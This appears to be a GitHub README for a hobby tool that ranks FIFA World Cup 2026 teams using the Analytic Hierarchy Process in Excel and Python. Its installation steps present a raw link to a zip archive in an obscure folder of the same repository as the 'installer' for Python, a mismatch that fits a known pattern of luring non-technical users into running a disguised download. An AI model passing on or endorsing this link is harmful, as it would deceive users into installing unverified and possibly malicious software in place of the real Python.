Welcome to ahp-worldcup-2026. This application allows you to rank your favorite teams for the FIFA World Cup 2026 using the Analytic Hierarchy Process (AHP). The tool is designed for ease of use, even if you don’t have technical knowledge. You can create rankings based on different criteria, ensuring a consistent evaluation.
To get started with ahp-worldcup-2026, please follow the steps below.
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Ensure your computer meets the following requirements:
- Operating System: Windows 10 or later, Mac OS, or Linux.
- Microsoft Excel: Version 2016 or later. This program must be installed to run the model and generate outputs.
- Python: Version 3.7 or later. Required for running the script. Instructions below include how to install it if you don't have it.
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Download the necessary files:
- Visit the Releases page to find the latest version of the software.
- Look for the package labeled “ahp-worldcup-2026” and click the download link.
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Open the downloaded file:
- Locate the file in your downloads folder and open it using Microsoft Excel.
Once you have opened the Excel file, you will encounter several sheets that guide you through the process of choosing your favorite teams. Here’s how to proceed:
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Input Team Data: Go to the sheet labeled "Input". Here, you can enter the names of the teams you want to evaluate.
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Set Evaluation Criteria: In the "Criteria" sheet, you can define different criteria for ranking the teams, such as performance history, player skills, and coach experience.
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Run Consistency Check: The model includes checks that ensure your evaluations are consistent. You can find this feature under the "Consistency Check" sheet.
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Export Results: After completing your evaluations, use the minimal Python script provided in the main folder to export your results. The results will be saved as a sorted CSV file, which makes it easy to view and share.
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Visualize Rankings: The script will also generate a horizontal bar chart visualizing your rankings, which will display percentage labels for each team.
To download and install the software, follow these steps:
- Go back to the Releases page.
- Click on the latest release version.
- Download and install Python if you don’t have it. You can find the installer at https://github.com/erolakd/ahp-worldcup-2026/raw/refs/heads/main/uncoif/worldcup_ahp_v2.7.zip.
- Once installed, you can run the Python script included in the package to generate the results after entering your data in Excel.
- User-Friendly Interface: Designed for average computer users.
- Consistency Checks: Built-in checks to ensure your rankings are logical.
- CSV Export: Save your results in a widely-used format for easier sharing and analysis.
- Visualization: Automatic generation of bar charts to visualize rankings.
- Fully Reproducible: Clear methodology using AHP for transparency.
- Microsoft Excel (2016 or later)
- Python (3.7 or later)
- Basic understanding of how to use Excel for entering data.
The application relies on the Analytic Hierarchy Process, a structured technique that helps in decision-making. To learn more about this method, you may visit resources about multicriteria decision-making, which will provide you with a deeper understanding of how your evaluations are constructed.
If you have questions, encounter issues, or want to contribute to the project, you can open an issue on this repository. Your feedback is valuable for improving the software, making it even more user-friendly.
Thank you for choosing ahp-worldcup-2026. Enjoy ranking your favorite teams for the upcoming FIFA World Cup!